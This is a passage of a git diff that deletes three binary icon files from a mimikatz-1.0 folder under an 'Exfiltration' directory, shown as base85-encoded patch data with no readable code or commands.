zp9ZllB#!r6w*1)pyvNwxNilI-yQqG*Rp4MtB{o!-f-Mn&DI^=be8BPy1p87bSUzDe zbn$|fyDu!};x_IZ+BjdJoVRWx*^r8|K%eU`Tct`G>$JA_~i|UV~i< z5Bu&FVsFg@oOx19?ADQ(N4$NcnLP8)CDB?_B{w$fVmHPuqv+6OcyGT7HiVMlAsc8arOYaNbu zG{C*58CUw+DBj&j7Q_C#x_(pCCMr>ax0}rvh#)W z{-B$YOBkRJ0S^X4{t^4GexPHz#ONSNNFJmQX&!WwToO_TiTW5N7xg#hUnF|@oj|-# L(7`ap4-EVp=BX{% diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_48.ico deleted file mode 100644 index 79edffc346e0a9b3616d98787c49c2947b4f1d81..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9662 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 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico deleted file mode 100644 index 2285d1c96e11cc64fe45e4a5d46769f7b14a75e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15086 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 Dz?Oji diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico deleted file mode 100644 index 745963e406287671fb826bfa46ab7f27244906d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15086 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 